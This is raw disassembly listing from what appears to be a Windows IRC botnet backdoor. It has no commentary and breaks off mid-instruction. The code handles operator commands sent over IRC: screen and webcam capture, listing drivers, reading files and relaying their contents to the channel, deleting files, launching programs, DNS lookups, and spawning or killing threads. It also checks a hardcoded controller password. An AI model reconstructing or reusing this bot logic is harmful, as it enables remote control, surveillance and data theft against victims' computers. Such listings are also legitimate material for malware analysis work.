loc_409B16 lea eax, [ebp+Dst] push eax push offset aS_15 ; "%s\r\n" jmp short loc_408C1B ; --------------------------------------------------------------------------- loc_408C88: ; CODE XREF: sub_401CC7+4A0Aj ; sub_401CC7+4A21j push edi lea eax, [ebp+Dst] push offset aNickS_5 ; "NICK %s" push eax ; Dest call _sprintf mov esi, [ebp+Source] push esi ; Str call _atoi add esp, 10h test eax, eax jle loc_409B16 push esi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 lea eax, [ebp+Dst] push eax ; Args push offset aS_16 ; "%s\r\n" push esi ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409CEE add esp, 0Ch push edi push esi ; Args push offset dword_44280C ; Format loc_408CEE: ; CODE XREF: sub_401CC7+70B2j ; sub_401CC7+7121j ... call sub_415CB3 jmp loc_404B1E ; --------------------------------------------------------------------------- loc_408CF8: ; CODE XREF: sub_401CC7+49DCj ; sub_401CC7+49F3j cmp [ebp+var_C], ebx jz loc_409B16 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D27 push esi lea eax, [ebp+Dst] push offset aModeS ; "MODE %s" push eax ; Dest call _sprintf add esp, 0Ch loc_408D27: ; CODE XREF: sub_401CC7+7049j mov edi, [ebp+Source] push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B16 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 lea eax, [ebp+Dst] push eax ; Args push offset aS_17 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409CEE add esp, 0Ch push esi push edi push offset dword_4427D4 jmp loc_408CEE ; --------------------------------------------------------------------------- loc_408D7E: ; CODE XREF: sub_401CC7+49AEj ; sub_401CC7+49C5j cmp [ebp+var_C], ebx jz loc_409B16 push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B16 mov edi, [ebp+Source] push edi ; Str call _atoi test eax, eax pop ecx jle loc_409B16 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 push esi ; Args push offset aS_18 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409CEE add esp, 0Ch push esi push edi push offset dword_44279C jmp loc_408CEE ; --------------------------------------------------------------------------- loc_408DED: ; CODE XREF: sub_401CC7+4980j ; sub_401CC7+4997j cmp [ebp+var_C], ebx jz loc_409B16 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B16 push esi ; Args push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push esi push offset unk_44276C jmp loc_409B0F ; --------------------------------------------------------------------------- loc_408E29: ; CODE XREF: sub_401CC7+4952j ; sub_401CC7+4969j push dword ptr [ebp+Args] ; Str2 push offset a332_2 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_402085 push edi ; Args push offset aPartS_1 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409CEE push [ebp+Source] ; Str call _atoi imul eax, 3E8h add esp, 10h push eax call ds:dword_4F534C ; Sleep push [ebp+esi+Str2] push edi ; Args push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409CEE push offset dword_442740 call sub_415C3F jmp loc_40370A ; --------------------------------------------------------------------------- loc_408E8D: ; CODE XREF: sub_401CC7+4924j ; sub_401CC7+493Bj cmp [ebp+var_C], ebx jz loc_409B16 push [ebp+Source] ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push edi ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409B16 push esi lea eax, [ebp+Dst] push offset dword_4426EC ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push [ebp+Source] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 20h push esi push [ebp+Source] push offset unk_4426F8 jmp loc_408CEE ; --------------------------------------------------------------------------- loc_408EFA: ; CODE XREF: sub_401CC7+48F6j ; sub_401CC7+490Dj cmp [ebp+var_C], ebx jz loc_409B16 push [ebp+Source] ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push edi ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_409B16 push ebx ; int push ebx ; int push esi ; int push [ebp+Source] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h push esi push [ebp+Source] push offset unk_4426C0 jmp loc_408CEE ; --------------------------------------------------------------------------- loc_408F4F: ; CODE XREF: sub_401CC7+48C8j ; sub_401CC7+48DFj cmp [ebp+var_C], ebx jz loc_402085 push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_402085 push eax ; int push [ebp+Source] ; Str2 call sub_415B47 pop ecx pop ecx push [ebp+Source] push offset asc_442694 ; "-" loc_408F7E: ; CODE XREF: sub_401CC7+58D3j ; sub_401CC7+7BF2j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4098D1 ; --------------------------------------------------------------------------- loc_408F92: ; CODE XREF: sub_401CC7+489Aj ; sub_401CC7+48B1j push edi ; int push [ebp+Source] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41927E jmp loc_4042E7 ; --------------------------------------------------------------------------- loc_408FAC: ; CODE XREF: sub_401CC7+485Cj ; sub_401CC7+4871j push [ebp+Source] ; SubStr push [ebp+arg_1C] ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_409B16 mov esi, [ebp+esi+Format] cmp esi, ebx jz loc_409054 push esi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40903C push esi lea eax, [ebp+Dst] push [ebp+Format] push dword ptr [ebp+Args] push [ebp+var_90] push offset aSSSS_1 ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy add esp, 24h lea eax, [ebp+Dst] push esi push [ebp+Source] push offset asc_442604 ; "-" push eax ; Dest call _sprintf add esp, 10h inc [ebp+File] jmp loc_4089F5 ; --------------------------------------------------------------------------- loc_40903C: ; CODE XREF: sub_401CC7+7318j lea eax, [ebp+Dst] push offset asc_44262C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_4089F5 ; --------------------------------------------------------------------------- loc_409054: ; CODE XREF: sub_401CC7+7303j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41BBE0 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h lea eax, [ebp+Dst] push [ebp+Source] push offset asc_44265C ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 10h jmp loc_4089F5 ; --------------------------------------------------------------------------- loc_4090A0: ; CODE XREF: sub_401CC7+4832j ; sub_401CC7+4847j push offset aScreen ; "screen" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4090FB mov edi, [ebp+esi+Format] cmp edi, ebx jz short loc_4090E8 push edi call sub_415F1E cmp eax, 1 pop ecx jnz short loc_4090E1 push edi lea eax, [ebp+Dst] push offset asc_4423A4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_4090FB ; --------------------------------------------------------------------------- loc_4090E1: ; CODE XREF: sub_401CC7+7401j push offset unk_4423D0 jmp short loc_4090ED ; --------------------------------------------------------------------------- loc_4090E8: ; CODE XREF: sub_401CC7+73F5j push offset asc_442400 ; "-" loc_4090ED: ; CODE XREF: sub_401CC7+741Fj lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4090FB: ; CODE XREF: sub_401CC7+73EAj ; sub_401CC7+7418j push offset aDrivers ; "drivers" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_409188 xor edi, edi loc_409110: ; CODE XREF: sub_401CC7+74ACj lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4E3128 test eax, eax jz short loc_40916F lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset asc_442444 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_5D88] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 28h loc_40916F: ; CODE XREF: sub_401CC7+746Aj inc edi cmp edi, 0Ah jl short loc_409110 lea eax, [ebp+Dst] push offset asc_44246C ; "-" push eax ; Dest call _sprintf pop ecx pop ecx loc_409188: ; CODE XREF: sub_401CC7+7445j push offset aFrame ; "frame" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_409229 cmp [ebp+esi+Format], ebx jz short loc_409216 cmp [ebp+esi+Str2], ebx jz short loc_409216 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_409216 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_409216 push eax ; Str call _atoi pop ecx push eax ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; Size push [ebp+esi+Format] ; int call sub_416159 add esp, 10h test eax, eax jnz short loc_40920F push [ebp+esi+Format] lea eax, [ebp+Dst] push offset asc_44249C ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_409229 ; --------------------------------------------------------------------------- loc_40920F: ; CODE XREF: sub_401CC7+7529j push offset unk_4424C8 jmp short loc_40921B ; --------------------------------------------------------------------------- loc_409216: ; CODE XREF: sub_401CC7+74DFj ; sub_401CC7+74E8j ... push offset asc_4424FC ; "-" loc_40921B: ; CODE XREF: sub_401CC7+754Dj lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_409229: ; CODE XREF: sub_401CC7+74D2j ; sub_401CC7+7546j push offset aVideo ; "video" push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_4089D4 mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_4092C1 mov eax, [ebp+esi+Str2] cmp eax, ebx mov [ebp+Src], eax jz short loc_4092C1 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_4092C1 mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_4092C1 mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_4092C1 push esi ; Str call _atoi pop ecx push eax ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+arg_18] ; Str call _atoi pop ecx push eax ; int push [ebp+Src] ; Str call _atoi pop ecx push eax ; Size push [ebp+arg_1C] ; int call sub_416352 add esp, 14h test eax, eax jnz short loc_4092B7 push [ebp+arg_1C] push offset unk_44253C jmp loc_4089C5 ; --------------------------------------------------------------------------- loc_4092B7: ; CODE XREF: sub_401CC7+75E1j push offset unk_442568 jmp loc_409385 ; --------------------------------------------------------------------------- loc_4092C1: ; CODE XREF: sub_401CC7+7585j ; sub_401CC7+7593j ... push offset unk_4425A8 jmp loc_409385 ; --------------------------------------------------------------------------- loc_4092CB: ; CODE XREF: sub_401CC7+403Bj ; sub_401CC7+4050j push offset aR_0 ; "r" push [ebp+Source] ; Filename call _fopen mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_40933B mov esi, 200h push edi lea eax, [ebp+Dst] push esi push eax call sub_41F210 add esp, 0Ch loc_4092F6: ; CODE XREF: sub_401CC7+765Ej test eax, eax jz short loc_409327 push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 push edi lea eax, [ebp+Dst] push esi push eax call sub_41F210 add esp, 20h jmp short loc_4092F6 ; --------------------------------------------------------------------------- loc_409327: ; CODE XREF: sub_401CC7+7631j push edi ; File call _fclose pop ecx push [ebp+Source] push offset unk_441D94 jmp loc_4094C9 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401CC7+7617j push [ebp+Source] push offset unk_441DB8 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_409348: ; CODE XREF: sub_401CC7+4011j ; sub_401CC7+4026j cmp [ebp+var_C], ebx jz loc_409B16 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B16 push offset asc_441D38 ; "\n" push esi ; Dest call _strcat push esi ; Str call sub_41A931 add esp, 0Ch test eax, eax jnz short loc_409398 push offset asc_441D3C ; "-" loc_409385: ; CODE XREF: sub_401CC7+75F5j ; sub_401CC7+75FFj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_4089D4 ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401CC7+76B7j push esi lea eax, [ebp+Dst] push offset asc_441D68 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4089F5 ; --------------------------------------------------------------------------- loc_4093B2: ; CODE XREF: sub_401CC7+3FE7j ; sub_401CC7+3FFCj cmp [ebp+var_C], ebx jz loc_409B16 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_409B16 push eax ; Format call sub_418F2A test eax, eax pop ecx jnz short loc_4093E2 push offset unk_441CF4 jmp short loc_409385 ; --------------------------------------------------------------------------- loc_4093E2: ; CODE XREF: sub_401CC7+7712j push offset dword_441D14 jmp short loc_409385 ; --------------------------------------------------------------------------- loc_4093E9: ; CODE XREF: sub_401CC7+3FBDj ; sub_401CC7+3FD2j push 7Fh ; Count lea eax, [ebp+var_2080] push [ebp+Source] ; Source push eax ; Dest call _strncpy mov esi, [ebp+esi+Format] add esp, 0Ch cmp esi, ebx jz short loc_40941A push 7Fh ; Count lea eax, [ebp+var_2000] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_40941A: ; CODE XREF: sub_401CC7+773Fj push 7Fh ; Count lea eax, [ebp+var_1F80] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+Source] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+Dst] push offset asc_441C8C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ch ; int push eax ; Source call sub_40B756 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41BCA5 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4094BD loc_4094A7: ; CODE XREF: sub_401CC7+77F4j cmp [ebp+var_1EF4], ebx jnz loc_406F7A push 32h call ds:dword_4F534C ; Sleep jmp short loc_4094A7 ; --------------------------------------------------------------------------- loc_4094BD: ; CODE XREF: sub_401CC7+77DEj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset asc_441CA4 ; "-" loc_4094C9: ; CODE XREF: sub_401CC7+29BFj ; sub_401CC7+766Fj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_406F7A ; --------------------------------------------------------------------------- loc_4094DD: ; CODE XREF: sub_401CC7+3F93j ; sub_401CC7+3FA8j push ebx ; Source push [ebp+Format] ; int push [ebp+arg_4] ; int push [ebp+Source] ; Str call sub_4103EB add esp, 10h push [ebp+Source] push offset dword_441C68 jmp loc_409B0F ; --------------------------------------------------------------------------- loc_4094FF: ; CODE XREF: sub_401CC7+3F69j ; sub_401CC7+3F7Ej push 14h ; Size lea eax, [ebp+var_1D48] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+Source] push offset aS_33 ; "%s" push eax ; Dest call _sprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C0] push eax ; Format lea eax, [ebp+var_1C30] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+Dst] push offset asc_441BFC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset sub_416980 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4095DA loc_4095C4: ; CODE XREF: sub_401CC7+7911j cmp [ebp+var_1BA0], ebx jnz loc_408637 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4095C4 ; --------------------------------------------------------------------------- loc_4095DA: ; CODE XREF: sub_401CC7+78FBj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_441C20 jmp loc_408628 ; --------------------------------------------------------------------------- loc_4095EB: ; CODE XREF: sub_401CC7+3F3Fj ; sub_401CC7+3F54j push [ebp+Source] call ds:dword_4F5354 ; DeleteFileA test eax, eax jz short loc_409616 push [ebp+Source] lea eax, [ebp+Dst] push offset asc_441BC8 ; "-" push 200h ; Count push eax ; Dest call __snprintf jmp loc_4096F4 ; --------------------------------------------------------------------------- loc_409616: ; CODE XREF: sub_401CC7+792Fj push offset dword_441BE4 call sub_418E65 pop ecx push eax jmp loc_404132 ; --------------------------------------------------------------------------- loc_409627: ; CODE XREF: sub_401CC7+3F15j ; sub_401CC7+3F2Aj push [ebp+Source] ; Str call _atoi push eax call sub_41A8AA pop ecx pop ecx push 1 pop esi push [ebp+Source] cmp eax, esi jnz short loc_409648 push offset unk_441B68 jmp short loc_40964D ; --------------------------------------------------------------------------- loc_409648: ; CODE XREF: sub_401CC7+7978j push offset asc_441B8C ; "-" loc_40964D: ; CODE XREF: sub_401CC7+797Fj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406F7D push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h jmp loc_406F7D ; --------------------------------------------------------------------------- loc_409686: ; CODE XREF: sub_401CC7+3EEBj ; sub_401CC7+3F00j push ebx ; int push ebx ; int push [ebp+Source] ; Str2 push [ebp+var_4] ; int push ebx ; Str push [ebp+arg_4] ; int call sub_41A589 add esp, 18h cmp eax, 1 push [ebp+Source] jnz short loc_4096AC push offset unk_441B0C jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4096AC: ; CODE XREF: sub_401CC7+79D9j push offset unk_441B2C jmp loc_406F4A ; --------------------------------------------------------------------------- loc_4096B6: ; CODE XREF: sub_401CC7+3EC1j ; sub_401CC7+3ED6j mov esi, [ebp+Source] push esi call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D4], eax jz short loc_4096FC push 2 lea eax, [ebp+var_2D4] push 4 push eax call dword_4E30B0 ; gethostbyaddr cmp eax, ebx jz short loc_40971D push dword ptr [eax] push esi push offset asc_441A94 ; "-" loc_4096E8: ; CODE XREF: sub_401CC7+7A54j lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_4096F4: ; CODE XREF: sub_401CC7+794Aj add esp, 10h jmp loc_406F59 ; --------------------------------------------------------------------------- loc_4096FC: ; CODE XREF: sub_401CC7+7A02j push esi call dword_4E317C ; gethostbyname cmp eax, ebx jz short loc_40971D mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4E3184 ; inet_ntoa push eax push esi push offset unk_441AB4 jmp short loc_4096E8 ; --------------------------------------------------------------------------- loc_40971D: ; CODE XREF: sub_401CC7+7A17j ; sub_401CC7+7A3Ej push offset unk_441AD4 jmp loc_408850 ; --------------------------------------------------------------------------- loc_409727: ; CODE XREF: sub_401CC7+3E97j ; sub_401CC7+3EACj push 7Fh ; Count push [ebp+Source] ; Source push [ebp+arg_14] ; Dest call _strncpy add esp, 0Ch push [ebp+Source] push offset unk_441A64 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_409744: ; CODE XREF: sub_401CC7+3E6Dj ; sub_401CC7+3E82j push 5 push ebx push ebx push [ebp+Source] push offset aOpen_1 ; "open" push ebx call dword_4E3064 push [ebp+Source] test eax, eax jz short loc_409768 push offset unk_441A14 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_409768: ; CODE XREF: sub_401CC7+7A95j push offset unk_441A34 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_409772: ; CODE XREF: sub_401CC7+3E43j ; sub_401CC7+3E58j mov eax, [ebp+Source] mov cl, [eax] mov byte_43F094, cl movsx eax, byte ptr [eax] push eax push offset unk_4419D8 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_40978B: ; CODE XREF: sub_401CC7+3E19j ; sub_401CC7+3E2Ej push [ebp+Source] ; Str call _atoi test eax, eax pop ecx jle loc_409B16 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409B16 push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40B44F add esp, 10h push eax lea eax, [ebp+Dst] push offset aNickS_6 ; "NICK %s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax push offset aS_19 ; "%s\r\n" jmp loc_408C1B ; --------------------------------------------------------------------------- loc_4097E9: ; CODE XREF: sub_401CC7+3DEFj ; sub_401CC7+3E04j mov esi, [ebp+Source] push esi ; Str call _atoi test eax, eax pop ecx jle loc_402085 push esi ; Str call _atoi cmp eax, 400h pop ecx jge loc_402085 push offset aQuitLater_0 ; "QUIT :later\r\n" push esi ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] ; int call sub_409CEE pop ecx pop ecx push 1F4h call ds:dword_4F534C ; Sleep push esi ; Str call _atoi imul eax, 234h pop ecx push dword_456024[eax] call dword_4E3190 ; closesocket push [ebp+var_10] push esi ; Str call _atoi imul eax, 234h pop ecx push dword_45602C[eax] call ds:dword_4F5380 ; TerminateThread push esi ; Str call _atoi imul eax, 234h push esi ; Str mov dword_45602C[eax], ebx call _atoi imul eax, 234h pop ecx pop ecx mov byte ptr dword_455E18[eax], bl jmp loc_402085 ; --------------------------------------------------------------------------- loc_409897: ; CODE XREF: sub_401CC7+3DC5j ; sub_401CC7+3DDAj push [ebp+Source] ; Str2 push offset aAll ; "all" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_409903 call sub_40B91F cmp eax, ebx jle short loc_4098BE push eax push offset unk_4418EC jmp loc_408F7E ; --------------------------------------------------------------------------- loc_4098BE: ; CODE XREF: sub_401CC7+7BEAj push offset asc_441914 ; "-" loc_4098C3: ; CODE XREF: sub_401CC7+24EAj ; sub_401CC7+2509j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_4098D1: ; CODE XREF: sub_401CC7+72C6j cmp [ebp+var_8], ebx jnz short loc_4098F2 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int loc_4098EA: ; CODE XREF: sub_401CC7+6E35j call sub_409D34 add esp, 14h loc_4098F2: ; CODE XREF: sub_401CC7+26E7j ; sub_401CC7+2712j ... lea eax, [ebp+Dst] push eax call sub_415C3F jmp loc_40226F ; --------------------------------------------------------------------------- loc_409903: ; CODE XREF: sub_401CC7+7BE1j mov eax, [ebp+var_A4] lea edi, [eax+1] cmp edi, 20h jnb loc_402085 lea eax, [ebp+edi*4+var_90] mov [ebp+File], eax loc_40991F: ; CODE XREF: sub_401CC7+7CC9j mov eax, [ebp+File] mov esi, [eax] cmp esi, ebx jz loc_402085 push esi ; Str call _atoi push eax call sub_40B891 pop ecx pop ecx test eax, eax push esi jz short loc_409946 push offset unk_44193C jmp short loc_40994B ; --------------------------------------------------------------------------- loc_409946: ; CODE XREF: sub_401CC7+7C76j push offset asc_441960 ; "-" loc_40994B: ; CODE XREF: sub_401CC7+7C7Dj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40997B push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_40997B: ; CODE XREF: sub_401CC7+7C96j lea eax, [ebp+Dst] push eax call sub_415C3F add [ebp+File], 4 inc edi cmp edi, 20h pop ecx jb short loc_40991F jmp loc_402085 ; --------------------------------------------------------------------------- loc_409997: ; CODE XREF: sub_401CC7+3D9Bj ; sub_401CC7+3DB0j cmp [ebp+var_C], ebx jz loc_409B16 push [ebp+Source] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409B16 push esi ; Args push offset aS_20 ; "%s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push esi push offset dword_4418BC jmp loc_409B0F ; --------------------------------------------------------------------------- loc_4099D3: ; CODE XREF: sub_401CC7+3D71j ; sub_401CC7+3D86j push [ebp+Source] ; Args push offset aPartS_2 ; "PART %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push [ebp+Source] push offset unk_441888 jmp loc_409B0F ; --------------------------------------------------------------------------- loc_4099F3: ; CODE XREF: sub_401CC7+3D47j ; sub_401CC7+3D5Cj push [ebp+esi+Format] push [ebp+Source] ; Args push offset aJoinSS_3 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 10h push [ebp+Source] push offset unk_44184C jmp loc_409B0F ; --------------------------------------------------------------------------- loc_409A1A: ; CODE XREF: sub_401CC7+3D1Dj ; sub_401CC7+3D32j push [ebp+Source] ; Args push offset aNickS_7 ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push [ebp+Source] push offset unk_44180C jmp loc_409B0F ; --------------------------------------------------------------------------- loc_409A3A: ; CODE XREF: sub_401CC7+315Dj ; sub_401CC7+3172j push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409CEE pop ecx lea eax, [ebp+Dst] pop ecx push [ebp+Source] push offset asc_44149C ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C3F push [ebp+Source] ; Str call _atoi add esp, 14h loc_409A74: ; CODE XREF: sub_401CC7+7DFBj push eax call ds:dword_4F534C ; Sleep loc_409A7B: ; CODE XREF: sub_401CC7+2A93j xor eax, eax jmp loc_402088 ; --------------------------------------------------------------------------- loc_409A82: ; CODE XREF: sub_401CC7+3133j ; sub_401CC7+3148j push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409CEE pop ecx lea eax, [ebp+Dst] pop ecx push [ebp+Source] push offset asc_441444 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C3F push [ebp+Source] ; Str call _atoi add esp, 14h imul eax, 3E8h jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409AC4: ; CODE XREF: sub_401CC7+EB9j ; sub_401CC7+ECEj push dword ptr [ebp+esi+Args] ; Str1 xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax ; int lea eax, [ebp+Str1] push dword_43F09C ; int push eax ; Dest call sub_40B44F add esp, 10h lea eax, [ebp+Str1] push eax ; Args push offset aNickS_8 ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch lea eax, [ebp+Str1] push eax ; Args push offset asc_4400A4 ; "-" loc_409B0F: ; CODE XREF: sub_401CC7+715Dj ; sub_401CC7+7833j ... call sub_415CB3 pop ecx loc_409B15: ; CODE XREF: sub_401CC7+6D3Aj pop ecx loc_409B16: ; CODE XREF: sub_401CC7+640j ; sub_401CC7+64Cj ... mov eax, [ebp+File] jmp loc_402088 ; --------------------------------------------------------------------------- loc_409B1E: ; CODE XREF: sub_401CC7+A9Cj ; sub_401CC7+AB1j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+Source], esi jz loc_402085 cmp [ebp+var_A8], ebx jnz loc_402085 push offset asc_43FEE8 ; "!" push [ebp+var_90] ; Str call _strtok mov esi, eax push offset byte_4E2F98 ; Delim push ebx ; Str inc esi call _strtok push offset asc_43FEEC ; "~" push eax ; Str call _strtok push [ebp+Source] ; Str2 mov edi, eax push offset a3zef ; "3zef" call _strcmp add esp, 20h test eax, eax jz short loc_409BBD lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 14h lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] ; int call sub_409CEE add esp, 0Ch push edi push esi push offset unk_43FF44 jmp 